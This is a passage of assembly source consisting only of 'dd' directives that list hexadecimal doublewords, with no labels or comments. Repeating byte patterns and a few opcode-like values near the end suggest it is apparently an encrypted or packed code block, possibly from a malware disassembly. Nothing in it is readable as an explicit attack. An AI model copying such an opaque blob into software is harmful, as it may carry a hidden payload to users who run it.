		dd 56D3343Dh, 5C42B132h, 0CAD5B132h, 903B84FFh,	350EB717h
		dd 597CB26Bh, 565DA5BDh, 5824BE32h, 0BF57B132h,	56ABB13Bh
		dd 814C7BDDh, 3E126752h, 53B53200h, 8C6B3052h, 0E02E93FEh
		dd 0D4ADD024h, 5188C0A7h, 8820D752h, 1EB47DB8h,	5EAD38CEh
		dd 5675B6DBh, 0FC237632h, 0DD8FB322h, 0BFA2F6BBh, 5657B134h
		dd 0FDE2F6F2h, 0CF3C4DA1h, 59EAB130h, 5675A4B3h, 56AA5832h
		dd 3789B132h, 4EB3DCD1h, 64BD2372h, 3C83E053h, 8E222853h
		dd 56EAA0DBh, 8C5EC132h, 0AEBBFF45h, 26AAF4DFh,	1087259Eh
		dd 907C5C2Ch, 0BF7346CEh, 56D5B126h, 0CE9B74C7h, 572409A4h
		dd 0CBEB2DABh, 3B7BDA17h, 7434FC30h, 365271B1h,	56ABA1DAh
		dd 0AF9EB332h, 7B945C61h, 0B133C143h, 547B8FD3h, 0D5E2D76Bh
		dd 0E8CEEE17h, 2858AC00h, 0D4A8D053h, 510AC0A7h, 56EABFDBh
		dd 6508E232h, 2BC96C16h, 3BAF8921h, 363BAD64h, 7ABD3052h
		dd 30E98F85h, 37499788h, 372C0E3Dh, 3023D17Ah, 0E3687EB3h
		dd 64E6D769h, 1127D088h, 5647583Ah, 852CB132h, 3A413002h
		dd 0EDC9D523h, 0D4678085h, 113390A8h, 94DCD13Eh, 8DAFFAAh
		dd 1F6D56B3h, 0BFCAC84Bh, 56D5B08Eh, 592A82CBh,	5675B0B3h
		dd 0DCB54832h, 565DB135h, 49483152h, 0DC36D052h, 0FE52B074h
		dd 0AD50BEB2h, 36EAB132h, 7A9E31CBh, 597CB253h,	565DB0B1h
		dd 59474D32h, 0AD57B132h, 0D0384477h, 0E353084Dh, 11E07A1Ch
		dd 96F6DE41h, 30DAD130h, 2DC768B3h, 56AEB9DBh, 9CD7932h
		dd 8D1B1ACAh, 0D9DAD06Ch, 56EAB134h, 56753D3Dh,	36DBB132h
		dd 565DBEDBh, 936BF032h, 0F06B3433h, 466A8DDCh,	227C42A1h
		dd 56EABDDBh, 4D3D2232h, 269746CAh, 1FB5BD50h, 5715D0F4h
		dd 3657B132h, 56ABBFDBh, 21B90332h, 0E90AFCF2h,	0D250DD3Ah
		dd 598D3E48h, 5D3C408Dh, 792ABEE9h, 3657B132h, 30F572B2h
		dd 37720488h, 0ECE2BB8h, 0DD7AB6ECh, 56BAB124h,	564D363Dh
		dd 5D47B132h, 7C57B132h, 3C355E9Ah, 75D649B5h, 0B56A6BFAh
		dd 95764433h, 5A534852h, 0CA5DB132h, 6595EF95h,	56BB5218h
		dd 3797908Ch, 5E9238C7h, 56EABEDBh, 7F282432h, 8FE5304Fh
		dd 0A72999D9h, 2A1FB779h, 0A35BF6BBh, 56AB2EDBh, 8E224832h
		dd 56E63E3Dh, 519CB132h, 57BAB132h, 3EF3E256h, 0A98B66AAh
		dd 5957B132h, 56ABB9BEh, 0F84D132h, 9E9E0E54h, 57F9BE53h
		dd 0AFBAB132h, 0D6527719h, 56AEB133h, 368F46CAh, 56BB5852h
		dd 0A726B132h, 7ED5AF3Ah, 38E7CD6Ah, 0DEAD4670h, 42B44935h
		dd 54AEB132h, 7B4C0A75h, 363BFEBEh, 4E232EFBh, 0DD592DC1h
		dd 37B533C2h, 56BABADBh, 69FB4E32h, 10385F52h, 63DD08Fh
		dd 546B3253h, 5E9238CBh, 0D7223B52h, 5A8668FCh,	0DF43D03Ch
		dd 5FB4BD75h, 0ACAEB132h, 0CF54BF7Ch, 0D3D7904Ch, 56D958CAh
		dd 0D3B2B132h, 0F8E9D12Fh, 0C4E21FB1h, 363C0AE0h, 56AEBBDBh
		dd 8B3F2832h, 9F7B0CDDh, 3081921Dh, 373B1D8Ah, 59B649FBh
		dd 56BAA5B0h, 58DBBE32h, 0BFAEB132h, 5657B13Bh,	4999817Ch
		dd 76A0A25Ah, 598AE4AFh, 5675B3BFh, 304B3A32h, 0AE9668B3h
		dd 0BF423A53h, 5657B13Ah, 3565F942h, 0C2330B0h,	0BF1675B1h
		dd 5675B13Bh, 9A963815h, 0CDA4F2F5h, 4647D1BBh,	5557B132h
		dd 0C215CCC6h, 0C5C807D1h, 27EF76DCh, 0BE921FEAh, 56BAB132h
		dd 0DB73068h, 0AAA96E9Eh, 56563A3Dh, 0AF52B132h, 38030BB9h
		dd 3612B6EDh, 87F4EF87h, 399A605Fh, 36948253h, 36D142B2h
		dd 45BF3884h, 0E7ABB132h, 4E9A1536h, 784982D0h,	0F059CA3Bh
		dd 15D3B2ACh, 37035709h, 56913253h, 52CB353Dh, 59CBB132h
		dd 0EFB36E8Dh, 0DD8B45BBh, 56615835h, 8F1AB132h, 24C74CF4h
		dd 4AB1F76Ah, 2608533Eh
		dd 29DF4FF6h, 232A9F75h, 0D78CD13Eh, 379A76E1h,	0BFB2C4CDh
		dd 565DB13Bh, 0BFEB26A1h, 3502A8Dh, 0BFFB4DA2h,	56D5B13Ah
		dd 63272DA7h, 505077E3h, 5F9359CBh, 5DA4B132h, 5C2BBEF2h
		dd 0AE57B132h, 0BF52B6B9h, 56D5B122h, 422D32CAh, 0A9F258CBh
		dd 1DA4ECDh, 37022784h,	3652F4BBh, 5657BCDBh, 5986B532h
		dd 8EC1A641h, 0FA8ABC49h, 0DD13F516h, 2345D0F9h, 44D8BE3Eh
		dd 0BFAEB132h, 5657B13Fh, 2CBABB97h, 3A123EB8h,	40EF108h
		dd 5E004E4Dh, 368D4ECEh, 5F090F64h, 59F4D9F9h, 5657B7B0h
		dd 5626BE32h, 37D5B132h, 8F50D752h, 98FED715h, 5E135953h
		dd 0BF3DB132h, 56AEB13Eh, 3710D9A1h, 5F68697Eh,	0E8DD2094h
		dd 0BD6BD764h, 372CC13Fh, 597ABACEh, 565DAAB6h,	56A45832h
		dd 802DB132h, 2CDA86E0h, 0E3AF5BD8h, 56E920DBh,	57F6BE32h
		dd 0AFBAB132h, 36A1F4B9h, 0D7C86CB8h, 370455C4h, 0D4A4B60Bh
		dd 56D5B244h, 56E75852h, 4F94B132h, 7FEDC7F0h, 0B2A4D365h
		dd 0E2DDE977h, 13A8D0CEh, 6CB4DCEh, 56D5A0DAh, 0F4D46132h
		dd 8E310D30h, 0F93D16B9h, 0FCE771BCh, 0EF7DA01h, 56553E3Dh
		dd 9120B132h, 52AA3253h, 6B6EBE32h, 3675B132h, 0D0C0B589h
		dd 29DED06Eh, 0D2A1B13Eh, 5657B11Eh, 56A3323Dh,	36B5B132h
		dd 1C50D753h, 269CD078h, 0BFBAB132h, 565DB126h,	0E9137DF0h
		dd 0CE53C43Dh, 86D41681h, 0BD685129h, 9F11AF5Eh, 0A98A4E8Ah
		dd 530348CDh, 0BF5DB132h, 56AEB138h, 4A1C0637h,	49833D4Ah
		dd 0FD2679FCh, 8F61D152h, 567A5953h, 8C45B132h,	0C9E71E21h
		dd 66730A83h, 88639999h, 56A559CAh, 0E255B132h,	0B6C581B3h
		dd 221E3273h, 91955C98h, 0BF3CEF6Ch, 0A9514FA4h, 59903A52h
		dd 0D5CA4E8Dh, 59D0A14Dh, 56EA3DB6h, 567F5832h,	6170B132h
		dd 6518906Bh, 0D95124BEh, 5047CEB1h, 5617343Dh,	30B5B132h
		dd 641138Ah, 5675323Dh,	37E3B132h, 5AD7BE73h, 59AEB132h
		dd 5657B7B5h, 5629BE32h, 0DDD5B132h, 0D3E5B575h, 5675B112h
		dd 56A95852h, 0CD26B132h, 451D75E1h, 54E9F224h,	0BD439FF2h
		dd 7BD2D21Bh, 5660BEF2h, 3775B132h, 36B6EEB9h, 565DB4DAh
		dd 62BF6D32h, 0D258B463h, 56ABB132h, 0B03CD06Dh, 59EAB133h
		dd 5675B9B6h, 5437BE32h, 365DB132h, 52E93A53h, 5657A0DBh
		dd 52E73C32h, 944A0463h, 8E28C27Eh, 9F332B5Bh, 5153DEC7h
		dd 7A5DB132h, 0FE5D558Dh, 9DCEE2Ch, 56A2583Eh, 2C0FB132h
		dd 8B750737h, 0BF77AEBEh, 56BAB13Ah, 501A568Eh,	4DA1F447h
		dd 565635DBh, 11204432h, 56DB5836h, 56D9B132h, 2BEB1CDh
		dd 7FBA9C75h, 0DF7D90C8h, 5687303Dh, 0BF37B132h, 56ABB138h
		dd 0C4100D8Bh, 0AD6D320Fh, 459CECD2h, 92BAB132h, 0A0F2CEFEh
		dd 0A82E32DAh, 94BCDA2Ah, 0E712D112h, 0DDB49F3Fh, 68ABD6Dh
		dd 56753C3Dh, 0BEE3B132h, 565DB13Ch, 0C247A9EEh, 128B9486h
		dd 635AE7CAh, 0E293E5Fh, 5EB58A53h, 56E6343Dh, 5853B132h
		dd 495DB132h, 302720DBh, 772012B8h, 862EDC89h, 0AA8748D3h
		dd 37283B52h, 0AA71E6B9h, 36AAE419h, 344C56B3h,	0EEFCDA74h
		dd 1DB18781h, 5552D06Bh, 5B3CA567h, 13EAB132h, 75BAA656h
		dd 2FCDDA06h, 0F07AEA84h, 0BFA2EEB9h, 5657B123h, 0FB52EC57h
		dd 46AA5616h, 53206273h, 0C367D374h, 5732BE57h,	0AA5DB132h
		dd 0AA566B19h, 59525AB1h, 56ABB0BBh, 0BF8F4432h, 56EAB120h
		dd 652045Bh, 0B31D3852h, 0C8C07115h, 0ECE40D7Ah, 0BFAE0E5Eh
		dd 56ABB16Ch, 52923ACEh, 6A193052h, 0AE6BB1F1h,	5AE53A53h
		dd 565DBDDBh, 69D42532h, 9A3AD126h, 0F612F004h,	528A9AF1h
		dd 56EAB8DBh, 1B1D5832h, 307898CAh, 0BDDE194Fh,	56AB5837h
		dd 9441B132h, 366C116Fh, 9E545DB8h, 5055B2ADh, 0BFFB253h
		dd 0BFBD6234h, 565DB138h, 1CA84381h, 73BB679Eh,	2928F936h
		dd 0D3DAB222h, 56EAB12Bh, 5675BADBh, 5995D432h,	46E69F57h
		dd 0DC0A50FFh, 0E158D173h, 0AE1CBEC4h, 0BF0C9A53h, 56EAB137h
		dd 93C1459Eh, 57E638E8h, 0A9E54833h, 0BF514ECDh, 5657B13Dh
		dd 3BCBA50Dh, 0EF9487FEh, 557B7292h, 0EF90E4F8h, 56BAB137h
		dd 0A3F642C7h, 0A95544DBh, 0BF3649CDh, 56ABB120h, 0E6B4B2E4h
		dd 9FC5FEC3h, 228910AEh, 6CC9F587h, 5994441Fh, 56AEB0BEh
		dd 46954D32h, 59FE4932h, 56D5B6B8h, 576ABE32h, 0AF75B132h
		dd 0BFDA5DB9h, 565DB137h, 8AD34ACh, 6A290B8Dh, 59CABE50h
		dd 56D5B6B1h, 5763BE32h, 0AE75B132h, 364675B1h,	565DA3DAh
		dd 8382D132h, 0E2D1378Ah, 0C30E5CDh, 4B3903Ah, 597E8A4Bh
		dd 5675B1B0h, 36DBEB32h, 565C3C3Dh, 0AA57B132h,	5657B1DAh
		dd 0BC2AEB32h, 510A00FAh, 56EAB4DBh, 4569C32h, 0AE4F2426h
		dd 388B0BB9h, 0D0A1B6EDh, 5657B127h, 56A43F3Dh,	5C3CB132h
		dd 4DEAB132h, 7BEE2CA5h, 40C50C3Eh, 0AF948225h,	59AE8EB1h
		dd 56545BB6h, 51204432h, 5551BE52h, 59EAB132h, 0D713718Dh
		dd 37C3D3D0h, 565DB8DBh, 0BD5A1032h, 9DEB66F7h,	23540A82h
		dd 5050BE3Eh, 36EAB132h, 0FC900954h, 5ECF4E53h,	0BEA4E1CAh
		dd 56AEB2D1h, 5997BACEh, 56ABA1B7h, 5756BE32h, 0AEEAB132h
		dd 0BF8DB6B9h, 56BAB119h, 429A32CAh, 56A7373Dh,	637B132h
		dd 952AD769h, 0BFB48DD9h, 0A9154EBEh, 5678303Dh, 5E53B132h
		dd 985DB132h, 47149026h, 0DF5AA5B8h, 5E424D77h,	49D5B132h
		dd 1F551641h, 0A9A60101h, 0A946BD47h, 0DD52B947h, 56AEB121h
		dd 0BD160B52h, 5043DFFFh, 72D5B132h, 4223A79h, 0A914EB69h
		dd 56A85805h, 0F645B132h, 0D8582CDAh, 34AE391Bh, 0F56D9609h
		dd 0D2527721h, 56E9E3DAh, 56795832h, 386DB132h,	2D23229Fh
		dd 9C5C1E89h, 965CF09Ch, 569A353Dh, 0BFB5B132h,	56EAB13Ch
		dd 1F21948Eh, 0D678DB8h, 0DF1151B6h, 4747C9D9h,	3257B132h
		dd 6D0B705Eh, 0A33AB45Fh, 0EAD6EA87h, 923DF4Ch,	546F5853h
		dd 0DDA1B132h, 0E0CE4D77h, 50D7BE9Bh, 59ABB132h, 56D5B1B6h
		dd 6F1FD032h, 0EEF7BE35h, 0BFBAB130h, 565DB121h, 0BC816BC1h
		dd 4736C37Fh, 9D4258B5h, 0CC431B5Dh, 0A9F0B96Fh, 469C4D77h
		dd 1DBAB132h, 1D9A3562h, 6BD6D23Eh, 153685D3h, 0D5C8BA41h
		dd 59D5B54Dh, 56EAE6B6h, 0E17AD132h, 2939D0ECh,	0D252B13Eh
		dd 56AEB17Ah, 56455952h, 0CF6DB132h, 9BD540E9h,	89383FE3h
		dd 5DF74CCCh, 0A918CC22h, 593CEAC7h, 56AE90BBh,	5FBED132h
		dd 0D0ABB132h, 0D8914BF8h, 0CE0A21FDh, 5675BDDBh, 29846632h
		dd 3FA30213h, 94F93882h, 11BED066h, 0A3ABB132h,	0A92A4E8Ah
		dd 56F858CDh, 15B5B132h, 55F3DE32h, 2F80CB70h, 6B455DCEh
		dd 0E876C110h, 56ABB48Bh, 0FD264432h, 56EABADBh, 0D07E1932h
		dd 0A70A995h, 5EC36C63h, 0A95023DBh, 51D8BECDh,	59ABB132h
		dd 56D5B0BEh, 29694932h, 0D27AB422h, 56BAB1B7h,	379E3A52h
		dd 0EF080252h, 1AEC3919h, 46D43253h, 0F950BE34h, 0BFEAB132h
		dd 5675B126h, 0C2F561A1h, 6E59A470h, 0AD22C8FFh, 0C9D5B845h
		dd 44A79DFBh, 59B5D173h, 308B4F8Dh, 508971B3h, 52FD3A53h
		dd 564E5952h, 52BB132h,	7F6BACBh, 0B880A5DAh, 33E5A65Dh
		dd 7B3C2EDBh, 0E2AE02Bh, 56B93E3Dh, 0B4DDB132h,	925D067h
		dd 8DBE4D3Eh, 36ABB132h, 5B3C8585h, 56EAB132h, 0E6AC73C8h
		dd 0F6A4922Bh, 0D8ACF08Ch, 52E93A53h, 5659313Dh, 5F42B132h
		dd 0CED5B132h, 0CCAD0AA1h, 9D74A286h, 5AE53ACBh, 55D9BE52h
		dd 59AEB132h, 0DD00618Dh
		dd 0BFCAE9E4h, 56D5B1A2h, 56EABCDBh, 23310632h,	18ECE99h
		dd 87F40775h, 112589E0h, 57D2BE36h, 0AEABB132h,	59D9EEB9h
		dd 56EAA1BBh, 0F9C0D132h, 56BAB7DAh, 4CE33A32h,	828C9F4h
		dd 52089A53h, 534032CAh, 56D5A1DBh, 50871332h, 958583C1h
		dd 0A4EF6893h, 212A783Ah, 46D132D7h, 63D2BE31h,	36ABB132h
		dd 56D5BEDAh, 9F559632h, 0E32A83Eh, 25B29D37h, 0AFD20Ch
		dd 36EFD06Dh, 5657BDDAh, 7BC64232h, 0BE9BB2Ch, 87310838h
		dd 56F1BE3Eh, 8BAB132h,	3784063Dh, 0DCCE6819h, 0ADED0CBh
		dd 36CBB033h, 0E1FB59B3h, 0E1E5C0EDh, 378DD0F9h, 0A9454E8Ah
		dd 53E444CDh, 0BFAEB132h, 5657B122h, 7A28452Bh,	0EA21855Ch
		dd 3E012844h, 0DA43505Dh, 45531AC1h, 205DB132h,	25A85C79h
		dd 0CBBB9FCEh, 0BFD48720h, 4729DD03h, 0DEE5E6E6h, 5675B133h
		dd 0AA6358CEh, 593D4ECDh, 56AEB7B9h, 87873032h,	0BEB41E51h
		dd 56D5B13Dh, 46C67C8Fh, 70EBE226h, 18A519C8h, 3065502Bh
		dd 0DF0062B3h, 5EBED068h, 3EABB132h, 5CF57D45h,	37F6363Ch
		dd 459C78CAh, 28BAB132h, 19AB2D7Ah, 0C30CF2E8h,	6D694A87h
		dd 92B7E661h, 5E1745D8h, 56FB5832h, 591EB132h, 18EEB553h
		dd 0E0981972h, 113D556Dh, 390B850h, 56AE333Dh, 0AEB5B132h
		dd 0DD8BD052h, 5E9CD1DEh, 17BAB132h, 11C9D5Eh, 0BFCA20F8h
		dd 5657B13Ah, 0A43BE00Bh, 3DB73847h, 56EC5853h,	0D042B132h
		dd 4860D119h, 0BFA175B1h, 56AEB138h, 3042A5E0h,	161F00FCh
		dd 362984ACh, 56FA5852h, 2B65B132h, 9DC84E90h, 9E7174ECh
		dd 0AB81F28Fh, 37ABCBBBh, 0A3A3F4B9h, 59D9F409h, 56EAECB0h
		dd 5CF7BE32h, 36BAB132h, 0DD52D052h, 56AEB132h,	46128A53h
		dd 56EF363Dh, 593CB132h, 0B9EAB132h, 0D2D971A2h, 0D75857D1h
		dd 16B7E964h, 13697086h, 5657B1CEh, 56A65832h, 7011B132h
		dd 6BBCBD82h, 7A87C00Dh, 0BF45017Dh, 565DB171h,	56AEBCDBh
		dd 0B3E70432h, 6B09AA28h, 0C23BBFA1h, 132D9EE1h, 5675B0CEh
		dd 56B65832h, 5C53B132h, 6B1613BEh, 4AC2E293h, 0BF5285B0h
		dd 56D5B121h, 56EABFDBh, 709D7232h, 5D7AF42Eh, 0E11E34ECh
		dd 378A461Bh, 5657B7DBh, 0A1587032h, 0DD915F8Ch, 0D68A4D77h
		dd 479CD6E4h, 7ABAB132h, 0C587CEE3h, 0E951B4CFh, 0B7284F63h
		dd 0F20971D4h, 0D7B57853h, 68F1FCEDh, 93B73076h, 378F7B31h
		dd 5656313Dh, 30CEB132h, 9ED673B9h, 65A6C9BDh, 56D97353h
		dd 56EAB9DBh, 2BB57632h, 5FE4B4A0h, 47B4E4F9h, 26AEB132h
		dd 607BDAC9h, 5CD04ED3h, 51C6C3A5h, 0E1E4CB2Fh,	36895DB9h
		dd 0F03F0954h, 0AA993253h, 56A93B3Dh, 0DC58B132h, 56ABB133h
		dd 0DBDAD1C7h, 56EAB135h, 5674393Dh, 0BE46B132h, 565DB132h
		dd 0E9443068h, 0AE506E85h, 56ABBDDBh, 144F5C32h, 0F4E2C459h
		dd 82C7902Eh, 56BF58CCh, 0FE47B132h, 65A5C30Dh,	57D3BEFBh
		dd 0AAABB132h, 0DF2D6A01h, 308A4D6Fh, 52476B3h,	5953D0C7h
		dd 7C5DB132h, 0F33D7356h, 0BA6AF441h, 566FB3E8h, 0EC5E9514h
		dd 5135DFE4h, 564A32C7h, 542D353Dh, 0D852B132h,	56AEB13Fh
		dd 2B9E3052h, 309698FDh, 0D48C52B3h, 0A9D53253h, 5649343Dh
		dd 5E53B132h, 7F5DB132h, 0A79BDC19h, 0D57B1768h, 5957A5F5h
		dd 56D5A2BCh, 56E45832h, 89D9B132h, 0F9B2C91Ah,	9297212Bh
		dd 0B32D4A3Ah, 0A9A81DDBh, 5124BECDh, 59D5B132h, 56EAB0B0h
		dd 29F64D32h, 0D2B5B136h, 565DB10Ah, 56A2363Dh,	0DA58B132h
		dd 56ABB134h, 56D5313Dh, 2969B132h, 0D27AB13Eh,	56BAB12Eh
		dd 565DBADBh, 0D9CCF432h, 0E4F3381Dh, 81E3DEABh, 56D596DBh
		dd 576CBE32h, 0AA75B132h, 0BF46F4CDh, 565DB13Ch, 1C955602h
		dd 1C9C5F7Dh, 0A370EC4Dh, 9156EBFBh, 68034926h,	0AF8A4ECDh
		dd 53AACEB1h, 5626353Dh, 0D4A1B132h, 5657B133h,	46D432CAh
		dd 0EC50BE34h, 59EAB132h, 5675BDBEh, 5035BE32h,	595DB132h
		dd 56AEB1B6h, 51BEF032h, 48ABB132h, 947C48E3h, 308A12D4h
		dd 0BFEE1D8Ah, 56BAB122h, 4C3BA87Fh, 0CA9BF7ECh, 0A441E15Fh
		dd 98B5B879h, 52923A53h, 9961D752h, 56703F3Dh, 0D7DCB132h
		dd 37AF83D1h, 5AF13ACAh, 5656353Dh, 0BF5EB132h,	56D5B1EFh
		dd 56ED303Dh, 0D17AB132h, 56BAB133h, 521A3ACAh,	0EDC8D1CEh
		dd 37A20380h, 0BFA7EEB9h, 56D5B13Fh, 8ED4777Ah,	0ED519C7h
		dd 0F8296C36h, 56D1589Ah, 5947B132h, 1657B132h,	0CDC86CA6h
		dd 755F5749h, 63532D73h, 449C0217h, 0D3BAB132h,	8C4EE622h
		dd 92B1CF7Dh, 819F47FDh, 3760AA7Bh, 52923A1Ah, 816BD752h
		dd 0D1CEDFAEh, 3799EDADh, 3651EEB9h, 52F19A53h,	44D8BECEh
		dd 0BFABB132h, 56D5B13Fh, 0C9BC1FEBh, 856CB18Fh, 388E49F0h
		dd 53B6325Eh, 46D132C7h, 75D2BE31h, 36ABB132h, 56D5A2DBh
		dd 0A1D67532h, 0B4705FD3h, 0FCEA202Ch, 0E6032B23h, 4E1855E6h
		dd 0A0D6D761h, 37F51480h, 8FFE4D73h, 5766BE52h,	0AE75B132h
		dd 56BABEDBh, 9F93FF32h, 56EE873Fh, 408FF870h, 0AB749698h
		dd 57893853h, 56F85833h, 1EFFB132h, 0B206135Ah,	0E628922Ch
		dd 0CE057117h, 7B8555F2h, 56ABBDDBh, 2E4B7C32h,	0B923211Ch
		dd 0F60A065Bh, 0A945097Bh, 0DE524ECDh, 56AEB133h, 565208C7h
		dd 5D42B132h, 68D5B132h, 2968988Ah, 95BF077h, 0FD497B1Eh
		dd 44DEBE52h, 0BFAEB132h, 5657B13Fh, 0FDFD2366h, 0BA2EA294h
		dd 0A93052EAh, 54F5BE48h, 36BAB132h, 24B4D053h,	36514ECFh
		dd 56563E3Dh, 3653B132h, 0D7B33A86h, 3709F3E3h,	0E815D053h
		dd 5CFB731Dh, 56515852h, 0DEC8B132h, 3D07E9BEh,	0B697CED1h
		dd 0DDDA8CA6h, 56EAB132h, 13FED053h, 56B458CEh,	0F48B132h
		dd 0E51FB645h, 53B68DBCh, 45B525D9h, 9D54D752h,	0E88C7518h
		dd 9F1476FAh, 0D8B572C7h, 565DB13Dh, 56AEBBDBh,	0FB987032h
		dd 0BD9B2C18h, 36C8C363h, 56EABFDBh, 1C49B832h,	0C0DE8F08h
		dd 1479339Eh, 37914EB7h, 565B5862h, 2812B132h, 6F700073h
		dd 918653E1h, 0BF245391h, 56BAB13Ah, 4CF6BBE5h,	33BCA393h
		dd 56BF4D61h, 0CABB132h, 0ED9F5BB3h, 0DDE5B6EDh, 5675B133h
		dd 0BF46D1C7h, 565DB137h, 0A505D869h, 0CCDAD0F3h, 5174DE97h
		dd 56D5BBDBh, 8EE7232h,	0FD37048h, 0EE5A6A50h, 565DB156h
		dd 56AF303Dh, 0BEAEB132h, 56ABB448h, 56DD373Dh,	0D2E5B132h
		dd 5675B130h, 5D31D052h, 56513D3Dh, 0DBA1B132h,	5657B134h
		dd 56AB3D3Dh, 97EEB132h, 56F2323Dh, 459CB132h, 3EBAB132h
		dd 0CCC466AAh, 0EBD65264h, 3D0C0B81h, 0C73F45FEh, 0BF2D23BCh
		dd 56EAB1BAh, 0D713E652h, 0FC651D9h, 0B5D74952h, 5556D053h
		dd 0D758B579h, 56ABB135h, 56D4373Dh, 6D1FB132h,	0CFF7BEF3h
		dd 36BAB132h, 85C0B88Dh, 37CEE17Dh, 1D54D06Ch, 5728BE22h
		dd 0A3D5B132h, 0D4E57009h, 5675B12Ch, 56A8353Dh, 5BB4B132h
		dd 0C7AEB132h, 6B1ED088h, 0AABB95FAh, 0BF6AB667h, 56EAAADBh
		dd 2D9C4932h, 36BAB132h, 565DB9DAh, 0C0639E32h,	72461DA9h
		dd 0A620D7F9h, 377A0468h, 56EAD0DBh, 57F0BE32h,	0AEBAB132h
		dd 0CFD92BBFh, 5047B6D2h, 0B757B132h, 4912E742h, 59064E5Bh
		dd 56EAA5B5h, 567A5832h, 0C725B132h, 678033D5h,	68E7410Ah
		dd 7EC1B9CBh, 5683584Bh, 30B5B132h, 0A38B69B9h,	0CADF2BBFh
		dd 4553B6D2h, 535DB132h, 0F331BF20h, 24447E35h,	0AB3DF6C5h
		dd 0F0CCBC18h, 0A916FED3h, 0BF2E49E1h, 56BAB120h, 48C98EBh
		dd 0B37C178h, 0EF2EF1B7h
		dd 1A51B31Ah, 0BF8C5B39h, 56EAB137h, 244A1928h,	59DAE939h
		dd 5CB47E8Dh, 21AEB132h, 8EBC9871h, 7D3696AAh, 5916D0E3h
		dd 56EABBB7h, 0DC7AD132h, 56BAB132h, 33C70B9h, 4026BECEh
		dd 5957B132h, 56ABA1B4h, 56DE5832h, 6F81B132h, 73518ADBh
		dd 0EC20843Eh, 0AEB13A6Eh, 56AEB1DAh, 0BCD6EB32h, 51740C16h
		dd 7D60E752h, 56E7596Dh, 2C8FB132h, 39193317h, 23C85380h
		dd 30F57CA0h, 0D4B9189h, 59CB4853h, 56D5A6BCh, 56F85832h
		dd 9172B132h, 29AA4CE6h, 0AA6897F1h, 9191923Ah,	0FC90D6Eh
		dd 390E0BBFh, 0DD29B6EDh, 368AB977h, 5675A1DBh,	106B0432h
		dd 672A8244h, 987769E0h, 1861D210h, 56A058A0h, 0C3A0B132h
		dd 762F2B9Ch, 5636717Fh, 5153D05Dh, 395DB132h, 6B7FAB49h
		dd 0BF362832h, 56ABB13Fh, 106BAEEAh, 1AE51127h,	0CD9696BCh
		dd 0BFBD38C9h, 565DB134h, 73EB9AB3h, 13DCA671h,	56B9583Eh
		dd 4FD5B132h, 621273E1h, 0CF66DD5Ch, 0DC23561Ch, 6690C8DEh
		dd 56A93D3Dh, 0DE58B132h, 56ABB133h, 529238CEh,	51193152h
		dd 0DD1466B9h, 0BEDAA177h, 565DB121h, 0ACBBB15Bh, 129ED6B7h
		dd 0B8394DA5h, 0E6AE0C42h, 0BFB3DF39h, 5675B13Ch, 0E935C3C9h
		dd 1F8D8C93h, 0B03E146Ch, 360DF873h, 0D6A4D052h, 56D5B132h
		dd 1163D053h, 4DFCBE3Eh, 59BAB132h, 565DA4B7h, 56BE5832h
		dd 0E962B132h, 8541AC45h, 80F70297h, 5A922D78h,	0DD8CAA2Ch
		dd 0D7DAA577h, 7AD467EAh, 37523B7Ch, 5675323Dh,	0BFCBB132h
		dd 56D5B122h, 29B78A82h, 2D0A89C4h, 0A22617B8h,	0B4693D16h
		dd 56AEB7DBh, 9E7D4732h, 377D87E9h, 59C5F6BBh, 56EABBB8h
		dd 89F4D132h, 4CDF6C46h, 363C7BB9h, 0D915D763h,	0AE37EB0Bh
		dd 37CAD052h, 463CD153h, 62EAB132h, 8F670F61h, 911DFAD2h
		dd 3D4BF86h, 0E442D690h, 0D637D061h, 9FCA66EFh,	56D4373Dh
		dd 9412B132h, 5915B122h, 56BAB2B4h, 8ED6D732h, 36CED0C7h
		dd 75A03054h, 3E6531B4h, 87507753h, 11ED622Ah, 0D9870952h
		dd 9731EE9Ch, 2547D953h, 0D0A11925h, 5657B13Eh,	56AD3B3Dh
		dd 0DADAB132h, 56EAB132h, 5B8404CDh, 0DB4FB6E1h, 8A5EDBB7h
		dd 5F20BE35h, 3657B132h, 306752B2h, 374A9B8Bh, 56EABCDBh
		dd 0E635B732h, 0CC59A934h, 0DD9720EAh, 8651F21Bh, 5657B9DBh
		dd 5B9F9C32h, 65D31C41h, 0D3E5E335h, 5675B133h,	0FE303CCAh
		dd 0A35A6E43h, 86514863h, 0DBA2EBCBh, 89DA19B0h, 9954D135h
		dd 17744FC5h, 0B1E78B3h, 59DBDD61h, 0AA51F185h,	0D9A169B9h
		dd 5657B136h, 378C0252h, 0D4DAE3C7h, 56EAB12Ah,	56645852h
		dd 6616B132h, 0A96F6192h, 0D5DFAF70h, 854112E9h, 37EEE5E3h
		dd 59B5803Dh, 56EAA2B3h, 56785932h, 0E576B132h,	45C3C709h
		dd 0E64CDE61h, 937263Ah, 0DEA4EB53h, 56D5B125h,	56EAA3DBh
		dd 0CA45A932h, 0F69AB36Ch, 0BE482F12h, 0C1F3128Ah, 55AE45ADh
		dd 0D42249F1h, 5106A8CFh, 56EAB9DBh, 0EFFF0532h, 0D2475169h
		dd 0D73DD0A0h, 0BE38D1D1h, 0F5C3D010h, 0EE951h,	9DDA0000h
		dd 30007A0h, 12F53AEBh,	9A7A811Eh, 4DBB6052h, 534EFC05h
		dd 6E9h, 706DBC00h, 59F4E522h, 0E861h, 815A0000h, 0DFC035EAh
		dd 9E907h, 0B9360000h, 572B2BBFh, 0F8792C84h, 7E952h, 47760000h
		dd 0B34A27EFh, 0FD828BD9h, 6007D319h, 178F0Fh, 11E80000h
		dd 8A000000h, 859856C1h, 0E0AF595Dh, 0B7B84CC1h, 510DD204h
		dd 6DB9615Fh, 0F41C64Eh, 182h, 0E1F7F900h, 0FE9h, 0EC88700h
		dd 63DE4155h, 448C5452h, 0C2A3E728h, 9E95Ah, 9E530000h
		dd 1FA8FA26h, 5E1194Eh,	3039h, 108B0Fh,	0BE90000h, 0A8000000h
		dd 0F4DE181Bh, 968ACBAEh, 0B96020BAh, 5D053E2Dh, 0FFFF2561h
		dd 5E97FFFh, 39000000h,	6DA043A0h, 19FD8289h, 8B0F07D3h
		dd 1, 0FABF60F5h, 617F53E2h, 8E95Ah, 0E7B10000h, 0AC2C6962h
		dd 0F9597F50h, 0F51F9C3h, 78Bh,	5F536000h, 61DE8B66h, 1830F52h
		dd 0FC000000h, 0E8h, 0EA815A00h, 7DFC120h, 9E9h, 0DB339A00h
		dd 5D5E71F3h, 8BF5AF64h, 0F68160C8h, 5B7498A1h,	0E861F08Bh
		dd 0FFFFFEC0h, 78B0Fh, 66600000h, 5853CF8Bh, 60D23361h
